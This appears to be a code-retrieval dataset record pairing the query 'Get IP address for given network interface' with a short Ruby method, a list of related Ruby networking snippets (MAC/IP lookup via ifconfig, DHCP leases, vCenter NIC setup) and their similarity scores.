"def ip_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n unless mac_address.nil?\n lease=LeasesFile.new(\"/var/db/vmware/vmnet-dhcpd-vmnet8.leases\").find_lease_by_mac(mac_address)\n if lease.nil?\n return nil\n else\n return lease.ip\n end\n else\n # No mac address was found for this machine so we can't calculate the ip-address\n return nil\n end\n end",
"def get_last_mac_num(mac)\n num = mac.gsub(':', '')[6,6].hex\n return num\n end",
"def mac_to_txt(mac)\n mac.map {|s| s.to_s(16)}.join \":\"\nend",
"def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend",
"def calculate_add_nic_spec_autogenerate_mac(nic)\n pg_name = nic['BRIDGE']\n\n default =\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/MODEL'\n )\n tmodel = one_item['USER_TEMPLATE/NIC_DEFAULT/MODEL']\n\n model = nic['MODEL'] || tmodel || default\n\n vnet_ref = nic['VCENTER_NET_REF']\n backing = nil\n\n # Maximum bitrate for the interface in kilobytes/second\n # for inbound traffic\n limit_in =\n nic['INBOUND_PEAK_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/INBOUND_PEAK_BW'\n )\n # Maximum bitrate for the interface in kilobytes/second\n # for outbound traffic\n limit_out =\n nic['OUTBOUND_PEAK_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/OUTBOUND_PEAK_BW'\n )\n limit = nil\n\n if limit_in && limit_out\n limit=([limit_in.to_i, limit_out.to_i].min / 1024) * 8\n end\n\n # Average bitrate for the interface in kilobytes/second\n # for inbound traffic\n rsrv_in =\n nic['INBOUND_AVG_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/INBOUND_AVG_BW'\n )\n\n # Average bitrate for the interface in kilobytes/second\n # for outbound traffic\n rsrv_out =\n nic['OUTBOUND_AVG_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/OUTBOUND_AVG_BW'\n )\n\n rsrv = nil\n\n if rsrv_in || rsrv_out\n rsrv=([rsrv_in.to_i, rsrv_out.to_i].min / 1024) * 8\n end\n\n network = self['runtime.host'].network.select do |n|\n n._ref == vnet_ref || n.name == pg_name\n end\n\n network = network.first\n\n card_num = 1 # start in one, we want the next available id\n\n @item['config.hardware.device'].each do |dv|\n card_num += 1 if VCenterDriver::Network.nic?(dv)\n end\n\n nic_card = Nic.nic_model_class(model)\n\n if network.class == RbVmomi::VIM::Network\n backing = RbVmomi::VIM.VirtualEthernetCardNetworkBackingInfo(\n :deviceName => pg_name,\n :network => network\n )\n elsif network.class == RbVmomi::VIM::DistributedVirtualPortgroup\n port = RbVmomi::VIM::DistributedVirtualSwitchPortConnection(\n :switchUuid =>\n network.config.distributedVirtualSwitch.uuid,\n :portgroupKey => network.key\n )\n backing =\n RbVmomi::VIM\n .VirtualEthernetCardDistributedVirtualPortBackingInfo(\n :port => port\n )\n elsif network.class == RbVmomi::VIM::OpaqueNetwork\n backing =\n RbVmomi::VIM\n .VirtualEthernetCardOpaqueNetworkBackingInfo(\n :opaqueNetworkId => network.summary.opaqueNetworkId,\n :opaqueNetworkType => 'nsx.LogicalSwitch'\n )\n else\n raise 'Unknown network class'\n end\n\n card_spec = {\n :key => 0,\n :deviceInfo => {\n :label => 'net' + card_num.to_s,\n :summary => pg_name\n },\n :backing => backing,\n :addressType => 'generated'\n }\n if @vi_client.vim.serviceContent.about.apiVersion.to_f >= 7.0\n card_spec[:key] = Time.now.utc.strftime('%m%d%M%S%L').to_i\n end\n\n if (limit || rsrv) && (limit > 0)\n ra_spec = {}\n rsrv = limit if rsrv > limit\n # The bandwidth limit for the virtual network adapter. The\n # utilization of the virtual network adapter will not exceed\n # this limit, even if there are available resources. To clear\n # the value of this property and revert it to unset, set the\n # vaule to \"-1\" in an update operation. Units in Mbits/sec\n ra_spec[:limit] = limit if limit\n # Amount of network bandwidth that is guaranteed to the virtual\n # network adapter. If utilization is less than reservation, the\n # resource can be used by other virtual network adapters.\n # Reservation is not allowed to exceed the value of limit if\n # limit is set. Units in Mbits/sec\n ra_spec[:reservation] = rsrv if rsrv\n # Network share. The value is used as a relative weight in\n # competing for shared bandwidth, in case of resource contention\n ra_spec[:share] =\n RbVmomi::VIM.SharesInfo(\n {\n :level =>\n RbVmomi::VIM.SharesLevel(\n 'normal'\n ),\n :shares => 0\n }\n )\n card_spec[:resourceAllocation] =\n RbVmomi::VIM.VirtualEthernetCardResourceAllocation(ra_spec)\n end\n\n {\n :operation => :add,\n :device => nic_card.new(card_spec)\n }\n end",
"def getMacAddrByOUI(x, y, oui, domain = \"grid\")\n cards = []\n # XXX should start transaction here?\n moid = getMotherboardID(x, y, domain)\n qs = \"SELECT interfaces.mac \" \\\n \"FROM interfaces \" \\\n \"LEFT JOIN motherboards ON interfaces.motherboard_id = motherboards.id \" \\\n \"LEFT JOIN devices ON interfaces.device_id = devices.id \" \\\n \"WHERE motherboards.id = #{moid} \" \\\n \"AND devices.oui = #{oui} \"\n begin\n results = @my.query(qs)\n if results.each() { | mac |\n cards |= mac\n MObject.debug \" Inventory - T:#{domain} - X:#{x} - Y:#{y} - MAC:#{mac} - OUI:#{oui}\" \n }\n end\n rescue MysqlError => e\n p \"Inventory - Could not get MAC for T:#{domain} - X:#{x} - Y:#{y} - OUI:#{oui}\"\n MObject.debug \"Inventory - Could not get MAC for T:#{domain} - X:#{x} - Y:#{y} - OUI:#{oui}\"\n end\n cards\n end",
"def test_gen_mac_unicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: false, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 2\n end",
"def mac(string)\n Digest::SHA256.new.update(string).hexdigest.upcase\n end",
"def get_ip_address(name, eth)\n network[:interfaces][eth][:addresses].each do |key, info|\n rackspace[name] = key if info['family'] == 'inet'\n end\nend",
"def info\n @lock.synchronize do\n hwaddr = self.hwaddr\n unless @meta_cache && @meta_cache[:hwaddr] == hwaddr\n @meta_cache = Meta.connection do\n raise Errors::MetaBadResponse unless Meta.interface(hwaddr, '', not_found: nil)\n {\n hwaddr: hwaddr,\n interface_id: Meta.interface(hwaddr, 'interface-id'),\n subnet_id: Meta.interface(hwaddr, 'subnet-id'),\n subnet_cidr: Meta.interface(hwaddr, 'subnet-ipv4-cidr-block')\n }.freeze\n end\n end\n @meta_cache\n end\n rescue Errors::MetaConnectionFailed\n raise Errors::InvalidInterface, \"Interface #{name} could not be found in the EC2 instance meta-data\"\n end",
"def get_ip_address(name, eth)\n if eth_iface = network[:interfaces][eth]\n eth_iface[:addresses].each do |key, info|\n jpc2[name] = key if info['family'] == 'inet'\n end\n end\nend",
"def has_rackspace_mac? \n network[:interfaces].values.each do |iface|\n unless iface[:arp].nil?\n return true if iface[:arp].value?(\"00:00:0c:07:ac:01\")\n end\n end\n false\nend"
] | [
"0.86720955",
"0.7913026",
"0.7414164",
"0.69589853",
"0.6948064",
"0.682697",
"0.6823449",
"0.67889345",
"0.6763014",
"0.67299986",
"0.67064154",
"0.6683104",
"0.6640576",
"0.66256136",
"0.66042554",
"0.6578205",
"0.6578205",
"0.6457956",
"0.64517826",
"0.6446098",
"0.643857",
"0.64336485",
"0.64279723",
"0.637772",
"0.6368175",
"0.63433635",
"0.6339637",
"0.6285616",
"0.6258547",
"0.62056506",
"0.6175013",
"0.6165171",
"0.61187154",
"0.61113304",
"0.6094559",
"0.60767645",
"0.59597534",
"0.59501714",
"0.59277046",
"0.5921414",
"0.5900351",
"0.5897233",
"0.5877911",
"0.5876491",
"0.5867677",
"0.58444726",
"0.58311176",
"0.57801807",
"0.57800037",
"0.5757725",
"0.5753456",
"0.57177836",
"0.56954294",
"0.5686028",
"0.56220376",
"0.55957705",
"0.5594942",
"0.55778325",
"0.55622506",
"0.55268425",
"0.5516173",
"0.5491181",
"0.5487153",
"0.54693073",
"0.54649544",
"0.5443277",
"0.5433597",
"0.54239506",
"0.5416459",
"0.54087204",
"0.5391598",
"0.53857327",
"0.53824365",
"0.5370565",
"0.5369875",
"0.53646415",
"0.53562486",
"0.53435385",
"0.5334932",
"0.53222024",
"0.53201723",
"0.5318395",
"0.53164417",
"0.53031045",
"0.52936244",
"0.5293087",
"0.52878284",
"0.52878284",
"0.52772886",
"0.52613443",
"0.52515435",
"0.5250396",
"0.52179927",
"0.52029204",
"0.52014506",
"0.51992214",
"0.51685673",
"0.5164519",
"0.5159264",
"0.51308614"
] | 0.64601237 | 17 |
Get IP address for given network interface | def ipaddr(iface=nil)
@ipaddr[iface || default_iface]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getIP(interface)\n cmd = `ip addr show #{interface}`\n ip = cmd.match(/inet ((\\d{1,3}\\.){3}\\d{1,3})\\/\\d{1,2}/).captures\n @log.debug \"IP of interface '#{interface}' is: #{ip.first}\"\n return ip.first\n end",
"def ip_by_interface(int)\n ip = `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n return ip\n end",
"def ip_by_interface(int)\n return `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n end",
"def getNetwork(interface)\n net = Nokogiri::XML(\"#{interface}\").xpath(\"//ip\")\n if !net.empty?\n ip = net.attr('address').value\n netmask = net.attr('netmask').value\n end\n return ip, netmask\n end",
"def ip\n if ifconfig =~ /inet addr:([0-9.]+)/\n $1\n else\n \"0.0.0.0\"\n end\n end",
"def get_ip_for_net(network, nodeish = nil)\n _, ip = get_if_ip_for_net(network, nodeish)\n return ip\n end",
"def get_network_by_interface(interface)\n\n ifconfig = `ifconfig`.split(\"\\n\\n\").index_by{|x| x[/\\w+/,0]}\n inet = ifconfig[interface][/inet addr:([^\\s]*)/, 1].split('.')\n broadcast = ifconfig[interface][/Bcast:([^\\s]*)/, 1].split('.')\n mask = ifconfig[interface][/Mask:([^\\s]*)/, 1].split('.')\n\n start_first = inet[0].to_i & mask[0].to_i\n start_second = inet[1].to_i & mask[1].to_i\n start_third = inet[2].to_i & mask[2].to_i\n start_fourth = inet[3].to_i & mask[3].to_i\n\n first_range = start_first..broadcast[0].to_i\n second_range = start_second..broadcast[1].to_i\n third_range = start_third..broadcast[2].to_i\n fourth_range = start_fourth..broadcast[3].to_i\n \n @ips_to_check = []\n first_range.each do |first|\n second_range.each do |second|\n third_range.each do |third|\n fourth_range.each do |fourth|\n @ips_to_check << \"#{first}.#{second}.#{third}.#{fourth}\"\n end\n end\n end\n end\n puts \"Checking ips in (#{first_range}).(#{second_range}).(#{third_range}).(#{fourth_range})\"\n \n @ips_to_check\n end",
"def get_ip_address(type)\n network[:interfaces].each do |iface, info|\n next unless info['type'] == 'eth'\n info[:addresses].each do |addr, detail|\n next unless detail['family'] == 'inet'\n case type\n when :public_ip\n return addr if !is_private?(addr)\n when :private_ip\n return addr if is_private?(addr)\n end\n end\n end\n return nil\n end",
"def current_ip(inter)\n net_info = `ifconfig`\n section_index = net_info.index(inter)\n line_index = net_info.index('inet', section_index)\n ip_address = net_info[line_index..-1].match(/\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0]\n return ip_address\nend",
"def get_ip_address\n items = `ifconfig | grep \"inet addr\"`.split\n addresses = []\n items.each do |item|\n addresses << item if item =~ /addr:/\n end\n ip = \"\"\n addresses.each do |address|\n ip = address.split(':')[1]\n if ip != '127.0.0.1'\n break\n end\n end\n ip\nend",
"def get_ip_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /inet addr:([\\d\\.]+)/ and $1 != '127.0.0.1')\n end\n end\n return nil\nend",
"def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end",
"def interface_by_ip(ip)\n int = `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n return int\n end",
"def ip_address\n Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address\n end",
"def interface_by_ip(ip)\n return `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n end",
"def ip6addr(iface=nil)\n @ip6addr[iface || default_iface]\n end",
"def get_internal_ip_address\r\n sock = UDPSocket.new\r\n sock.connect('1.0.0.1', 1) #@igd_location.split('//').last.split('/').first.split(':').first\r\n return sock.addr.last\r\n rescue Exception\r\n return \"127.0.0.1\"\r\n end",
"def ipaddress\n @network_payload['IP']\n end",
"def get_local_ip(network)\n UDPSocket.open do |sock|\n sock.connect network, 1\n sock.addr.last\n end\n end",
"def get_ip_address(machine)\n ip = nil\n unless @rs.ignore_private_ip\n machine.config.vm.networks.each do |network|\n key, options = network[0], network[1]\n ip = options[:ip] if key == :private_network\n next if ip\n end\n end\n\n ip || machine.ssh_info[:host]\n end",
"def network_ip(network)\n cached_json.dig('NetworkSettings', 'Networks', network, 'IPAddress')\n end",
"def ip\n @ip ||= Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address\n end",
"def get_ip_address\n rpc_get_fact_direct('host_ip')\n end",
"def detect_ip\n mac = vm_info['VM']['TEMPLATE']['NIC']['MAC']\n 20.times do\n debug 'Trying to get IP...'\n out = `echo '#{config[:local_sudo_pass]}' | sudo -S nmap -sP -n 153.15.248.0/21`\n out = out.lines\n index = out.find_index { |s| s =~ /.*#{mac}.*/i }\n if index\n return out.to_a[index - 2].scan(/[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+/)[0]\n end\n end\n warn \"Can't locate VM ip\"\n nil\n end",
"def local_ip_address\n conf['base_address'] ||\n %x{ip addr show #{conf['base_interface'] || 'br0'} | grep inet}.split(' ')[1].to_s.strip.split('/').first.to_s\nend",
"def get_ip_address(name, eth)\n if ( eth_iface = network[:interfaces][eth] )\n eth_iface[:addresses].each do |key, info|\n linode[name] = key if info[\"family\"] == \"inet\"\n end\n end\n end",
"def get_network_name(ip)\n cmd_out = `netsh interface ip show config`\n network_details = cmd_out.split(/^$/).reject(&:empty?).select do |settings|\n begin\n lines = settings.split(/\\n/).reject(&:empty?)\n subnet = lines[3]\n next false unless subnet =~ /Subnet Prefix/\n\n mask = IPAddr.new(subnet.match(%r{.* (\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.\\d{1,3}/\\d{1,3}).*}).captures[0])\n address = IPAddr.new(ip)\n\n mask.include?(address)\n rescue StandardError\n false\n end\n end\n return nil if network_details[0].nil? || network_details[0].empty?\n\n network_details[0].split(/\\n/).reject(&:empty?)[0].match(/Configuration for interface \"(.*)\"/).captures[0].strip\n end",
"def ip\n ssh.exec!(\"/sbin/ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'\").chomp\n end",
"def get_ip_address(name, eth)\n if eth_iface = network[:interfaces][eth]\n eth_iface[:addresses].each do |key, info|\n jpc2[name] = key if info['family'] == 'inet'\n end\n end\nend",
"def find_node_ip_in_network(network, nodeish = nil) # rubocop:disable MethodLength\n nodeish = node unless nodeish\n net = IPAddr.new(network)\n nodeish['network']['interfaces'].each do |iface, addrs|\n addrs['addresses'].each do |ip, params|\n if params['family'].eql?('inet6') && net.include?(ip)\n return \"[#{ip}]:6789\"\n elsif params['family'].eql?('inet') && net.include?(ip)\n return \"#{ip}:6789\"\n end\n end\n end\n nil\nend",
"def hwaddr\n begin\n exists? && IO.read(\"/sys/class/net/#{name}/address\").strip\n rescue Errno::ENOENT\n end.tap do |address|\n raise Errors::UnknownInterface, \"Interface #{name} not found on this machine\" unless address\n end\n end",
"def get_nat_ip\n puts \"Getting NAT address\"\n\n # Get first instance with \"nat\" role\n instance = instances_for_role(\"nat\").first[:instances].first\n # Grab the interface that has source_dest_check set to false (most likely interface)\n primary = instance[:network_interfaces].select { |x| x[:source_dest_check] == false }.first\n nat = \"ec2-user@#{primary[:association][:public_ip]}\"\n\n puts \" - #{nat}\"\n nat\n end",
"def ip\n container.json['NetworkSettings']['IPAddress'] || 'N/A'\n rescue NoMethodError\n 'N/A'\n end",
"def get_broadcast_ip(network, mask)\n (IPAddr.new(network) | ~IPAddr.new(mask)).to_s\n end",
"def local_ips\n list = cmd(\"addr show dev #{name} primary\", sudo: false, errors: true) +\n cmd(\"addr show dev #{name} secondary\", sudo: false, errors: true)\n list.lines.grep(/inet ([0-9\\.]+)\\/.* #{name}/i){ $1 }\n rescue\n raise Errors::UnknownInterface, \"Interface #{name} not found on this machine\" unless exists?\n raise\n end",
"def read_machine_ip(machine)\n machine.config.vm.networks.each do |type, options|\n if type == :private_network && options[:ip].is_a?(String)\n return options[:ip]\n end\n end\n\n nil\n end",
"def ip_address_with_mask\n ip_address.try(:to_cidr_s)\n end",
"def get_public_ip()\n return open('http://ipinfo.io/ip').read.chomp\n end",
"def ip\n ip = nil\n\n unless valid?\n return nil\n end\n\n begin\n case name\n when /\\.in-addr\\.arpa$/\n name_without_suffix = name.sub(/\\.in-addr\\.arpa$/, '')\n quads = name_without_suffix.split('.')\n if quads.size == 4\n quads.reverse!\n ip = quads.join('.')\n end\n when /\\.ip6\\.arpa$/\n name_without_suffix = name.sub(/\\.ip6\\.arpa$/, '')\n nibbles = name_without_suffix.split('.')\n nibbles.each do |nibble|\n if nibble.empty?\n raise DnsRecord::EmptyNibbleError\n end\n end\n if nibbles.size == 32\n n = nibbles.reverse!\n ip = \\\n n[0..3].join('') + \":\" +\n n[4..7].join('') + \":\" +\n n[8..11].join('') + \":\" +\n n[12..15].join('') + \":\" +\n n[16..19].join('') + \":\" +\n n[20..23].join('') + \":\" +\n n[24..27].join('') + \":\" +\n n[28..31].join('')\n \n ip = NetAddr::CIDR.create(ip).ip(:Short => true)\n end\n end\n rescue DnsRecord::EmptyNibbleError\n ip = nil\n end\n\n ip\n end",
"def get_ip_address(name, eth)\n network[:interfaces][eth][:addresses].each do |key, info|\n rackspace[name] = key if info['family'] == 'inet'\n end\nend",
"def ip\n TestLab::Utility.ip(self.address)\n end",
"def get_ip(node)\n provisioning.ipaddress(node)\n end",
"def address(public_ip)\n addresses(public_ip)[0]\n end",
"def ipaddress\n config[\"ipaddress\"]\n end",
"def ip\n if (ip = @host.at('tag[name=host-ip]'))\n ip.inner_text\n end\n end",
"def find_private_ip\n ip_addresses = interface_addresses\n ip_addresses.each do |ip|\n if ip.start_with?(\"192\") || ip.start_with?(\"10\")\n return ip\n end\n end\n return nil\n end",
"def default_gw_ipaddr\n ip = case `/bin/uname -s`.rstrip\n when 'Linux'\n `/sbin/ip route get 8.8.8.8`.split(\"\\n\")[0].split.last\n when 'SunOS'\n `/sbin/ifconfig $(/usr/sbin/route -n get 1.1.1.1 | awk '$1 == \"interface:\" {print $2}') | awk '$1 == \"inet\" { print $2 }'`\n else\n raise \"Unsupported platform to detect gateway IP address: #{`/bin/uname`}\"\n end\n ip = ip.rstrip\n raise \"Failed to run command lines or empty result\" if ip == '' || $?.exitstatus != 0\n ip\n end",
"def network_interface_id\n data[:network_interface_id]\n end",
"def interface_network(driver, options)\n # no need to get interface network for tcp tunnel config\n return 'tunnel_interface' if options.fetch(:tunnel_type, nil)\n\n if options[:network_name]\n @logger.debug 'Found network by name'\n return options[:network_name]\n end\n\n # Get list of all (active and inactive) Libvirt networks.\n available_networks = libvirt_networks(driver)\n\n return 'public' if options[:iface_type] == :public_network\n\n if options[:ip]\n address = network_address(options[:ip], options[:netmask])\n available_networks.each do |network|\n if address == network[:network_address]\n @logger.debug 'Found network by ip'\n return network[:name]\n end\n end\n end\n\n raise Errors::NetworkNotAvailableError, network_name: options[:ip]\n end",
"def read_host_ip(machine,env)\n nets = env[:libvirt_compute].list_networks\n if nets.size == 1\n net = nets.first\n else\n domain = env[:libvirt_compute].servers.get(machine.id.to_s)\n xml=Nokogiri::XML(domain.to_xml)\n networkname = xml.xpath('/domain/devices/interface/source').first.attributes['network'].value.to_s\n puts \"network name = #{networkname}\"\n net = env[:libvirt_compute].list_networks.find {|netw| netw[:name] == networkname}\n end\n # FIXME better implement by libvirt xml parsing\n `ip addr show | grep -A 2 #{net[:bridge_name]} | grep -i 'inet ' | tr -s ' ' | cut -d' ' -f3 | cut -d'/' -f 1`.chomp\n end",
"def GetIpFromId(id)\n \"192.168.0.#{id+1}\"\n end",
"def hostip\n static_network_config[\"ipAddress\"]\n end",
"def network(options=nil)\n known_args = [:Objectify, :Short]\n objectify = false\n short = false\n\n if (options)\n if (!options.kind_of?(Hash))\n raise ArgumentError, \"Expected Hash, but \" +\n \"#{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if( options.has_key?(:Short) && options[:Short] == true )\n short = true\n end\n\n if( options.has_key?(:Objectify) && options[:Objectify] == true )\n objectify = true\n end\n end\n\n\n if (!objectify)\n ip = NetAddr.ip_int_to_str(@network, @version)\n ip = NetAddr.shorten(ip) if (short && @version == 6)\n else\n ip = NetAddr.cidr_build(@version,@network)\n end\n\n return(ip)\n end",
"def network_cidr(network)\n if network = cached_json.dig('NetworkSettings', 'Networks', network) && network['IPAddress']\n return \"#{network['IPAddress']}/#{network['IPPrefixLen']}\"\n else\n return nil\n end\n end",
"def fetch_primary_ip_address\n capture(<<-GETADDR, :shell => \"bash\").chomp\n _if=\"$(netstat -nr | grep ^0\\.0\\.0\\.0 | awk '{print $8}')\";\n _ip=\"$(/sbin/ifconfig $_if | \\\n grep '^[[:space:]]*inet ' | awk '{print $2}' | \\\n awk -F':' '{print $2}')\";\n\n if [ -z \"$_ip\" -o \"$_ip\" == \"\" ] ; then\n echo \"\";\n return 10;\n else\n echo $_ip;\n fi\n GETADDR\nend",
"def detect_reachable_ip\n if RUBY_VERSION >= \"1.9.2\"\n require 'socket'\n possible_ips = Socket.ip_address_list.reject { |ip| !ip.ipv4? || ip.ipv4_loopback? }\n return possible_ips.first.ip_address unless possible_ips.empty?\n end\n if detect_os[:platform] == \"windows\"\n output = `ipconfig`\n ip_regex = /IP(?:v4)?.*?([0-9]+(?:\\.[0-9]+){3})/i\n gateway_regex = /Gateway[^0-9]*([0-9]+(?:\\.[0-9]+){3})?/i\n ip_matches = output.split(/\\n/).select { |s| s =~ ip_regex }\n gateway_matches = output.split(/\\n/).select { |s| s =~ gateway_regex }\n possible_ips = ip_matches.zip(gateway_matches)\n possible_ips.map! do |ip,gateway|\n [ip.match(ip_regex)[1], gateway.match(gateway_regex)[1]]\n end\n possible_ips.reject! { |ip,gateway| ip == \"127.0.0.1\" || gateway.nil? }\n return possible_ips[0][0]\n elsif ENV['SSH_CONNECTION']\n return ENV['SSH_CONNECTION'].split(/\\s+/)[-2]\n else\n if Pathname.which(\"ifconfig\")\n ip_output = `ifconfig -a 2> /dev/null`.chomp\n elsif File.executable?(\"/sbin/ifconfig\")\n ip_output = `/sbin/ifconfig -a 2> /dev/null`.chomp\n else\n ip_output = `ip addr 2> /dev/null`.chomp\n end\n possible_ips = ip_output.scan(/inet (?:addr:)?([0-9\\.]+)/).flatten\n possible_ips.reject! { |ip| ip == \"127.0.0.1\" }\n return possible_ips.first\n end\n end",
"def get_ip(ip_name, resource_group = armrest_configuration.resource_group)\n get(ip_name, resource_group).properties.ip_address\n end",
"def public_ip\n get('tools/public_ip').body['ipv4'] || get('tools/public_ip').body['ipv6']\n end",
"def get_recommended_value\n get_item( 'cli::network::ipaddress' ).value\n end",
"def has_address(interface)\n ip = Facter::Util::IP.get_interface_value(interface, 'ipaddress')\n if ip.nil?\n false\n else\n true\n end\nend",
"def ip\n TestLab::Utility.ip(self.address)\n end",
"def ip_address(env)\n ip_address_record(env)[:address]\n end",
"def device_ipaddress; end",
"def device_ipaddress; end",
"def ip_address\n # Does not work for now as the vmx path is not escape correctly by fission 0.4.0\n #return raw.network_info.data.first['ip_address']\n raise ::Fission::Error,\"VM #{name} does not exist\" unless self.exists?\n \n # Use alternate method to retrieve the IP address using vmrun readVariable\n \n ip_address = shell_exec(\"vmrun readVariable \\\"#{vmx_file_path}\\\" guestVar ip\", { :mute => true})\n return ip_address.stdout.strip\n \n # unless mac_address.nil?\n # lease = Fission::Lease.find_by_mac_address(mac_address).data\n # return lease.ip_address unless lease.nil?\n # return nil\n # else\n # # No mac address was found for this machine so we can't calculate the ip-address\n # return nil\n # end\n end",
"def getIpFromNum(ii)\n \"172.31.0.#{100+ii}\"\nend",
"def intface_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n p iface.netmask\n end\nend",
"def public_ip_address\n public_ip_addresses.first\n end",
"def get_ipaddr(dns_query, parsed_dns, length)\n address = \"\"\n case length\n when IPV4_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"CCCC\").join('.')\n when IPV6_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"nnnnnnnn\").map{|v| sprintf(\"%x\", v)}.join(':')\n end\n parsed_dns[:index] += length\n return address\n end",
"def ip_first\n NetAddr::CIDR.create(cidr_obj.to_i(:network) + 2).ip\n end",
"def ip(options=nil)\n known_args = [:Objectify, :Short]\n objectify = false\n short = false\n\n if (options)\n if (!options.kind_of?(Hash))\n raise ArgumentError, \"Expected Hash, but \" +\n \"#{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if( options.has_key?(:Short) && options[:Short] == true )\n short = true\n end\n\n if( options.has_key?(:Objectify) && options[:Objectify] == true )\n objectify = true\n end\n end\n\n\n if (!objectify)\n ip = NetAddr.ip_int_to_str(@ip, @version)\n ip = NetAddr.shorten(ip) if (short && @version == 6)\n else\n ip = NetAddr.cidr_build(@version,@ip)\n end\n\n return(ip)\n end",
"def address_for(network); end",
"def get_ip(node)\n return node['network_adapters'].select { |n|\n n['mounted'] && n['device'] =~ /eth/\n }[0]['ip']\nend",
"def external_ip\n begin\n ip = OpenURI.open_uri(\"http://myip.dk\") {|f|f.read.scan(/([0-9]{1,3}\\.){3}[0-9]{1,3}/); $~.to_s}\n rescue\n ip = local_ip\n puts \"Seems like there is a problem adquiring external IP address, ...using local address: (#{ip})\"\n end\n ip\n end",
"def get_public_ip_address\n rpc_get_fact_direct('public_ip')\n end",
"def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end",
"def get_guest_ip(vm_ref)\n guest_ip = 'unknown'\n vgm = xapi.VM.get_guest_metrics(vm_ref)\n unless 'OpaqueRef:NULL' == vgm\n networks = xapi.VM_guest_metrics.get_networks(vgm)\n if networks.key?('0/ip')\n guest_ip = networks['0/ip']\n end\n end\n guest_ip\n end",
"def get_public_ip_address\n get_proxy.get_public_ip_address\n end",
"def get_ipaddress(asset_tag=asset_tag, pool)\n @connection.ipaddress_allocate!(asset_tag, pool, count = 1)\n end",
"def read_ip_address(machine)\n command = \"ip a | grep 'inet' | grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $2 }' | cut -f1 -d\\\"/\\\"\"\n result = \"\"\n $logger.info \"Processing #{ machine.name } ... \"\n begin\n # sudo is needed for ifconfig\n machine.communicate.sudo(command) do |type, data|\n result << data if type == :stdout\n end\n $logger.info \"Processing #{ machine.name } ... success\"\n rescue\n result = \"# NOT-UP\"\n $logger.info \"Processing #{ machine.name } ... not running\"\n end\n # the second inet is more accurate\n result.chomp.split(\"\\n\").select { |hash| hash != \"\" }[1]\nend",
"def network\n cidr.network.to_s\n end",
"def to_integer\n ip_address.to_i\n end",
"def GetSubnet()\n \"192.168.3.0/24\"\n end",
"def subnet_mask\n @mask_addr.to_ip\n end",
"def read_guest_ip\n execute(:get_network_config, VmId: vm_id)\n end",
"def extract_ip(addrinfo)\n addrinfo[2]\n end",
"def private_ip_address\n private_ip_addresses.first\n end",
"def overlay_ip\n self.overlay_cidr.split('/')[0] if self.overlay_cidr\n end",
"def libvirt_vm_ip(name)\n mac = `sudo virsh domiflist #{name} | tail -n +3 | tr -s \" \" | cut -f 5 -d \" \"`.strip\n address = `arp | grep -i #{mac} | cut -f1 -d \" \"`.chomp\n { address: address, port: SSH_PORT }\n end",
"def host_ip\n Socket.gethostbyname(@backend.host)[3].unpack('CCCC') rescue [0, 0, 0, 0]\n end",
"def ip\n @ip ||= select { |type,value| type == :ip }.map do |(type,value)|\n IPAddr.new(value)\n end\n end",
"def eip\n @eip ||= EC2.find_eip(interface.id)\n end",
"def get_external_ip_address\r\n return debug('No WAN Service') unless @wan_service\r\n hash = send_action(@wan_service, 'GetExternalIPAddress', {})\r\n return hash if(hash[:is_error])\r\n return nil unless(hash[:has_xml])\r\n return hash[:xml].get_text('NewExternalIPAddress')\r\n end",
"def ip\n arp = Cheetah.run([\"arp\", \"-n\"], stdout: :capture)\n entry = arp.lines.find { |a| a.include?(mac) }\n return nil if entry.nil?\n entry.split(\" \")[0]\n end",
"def ip\n @ip ||= @node.search('IP/listEntry').map(&:inner_text)\n end",
"def ip_v6_cidr; end",
"def getMAC(interface)\n cmd = `ifconfig #{interface}`\n mac = cmd.match(/(([A-F0-9]{2}:){5}[A-F0-9]{2})/i).captures\n @log.debug \"MAC of interface '#{interface}' is: #{mac.first}\"\n return mac.first\n end",
"def get_dns_ipaddr(host)\n dns = Dnsruby::DNS.new({\n :nameserver => [ IWMNns ],\n :search => [ 'canishe.com' ],\n :ndots => 1\n })\n\n answer = dns.getaddress(host)\n\n return answer.to_s\nend",
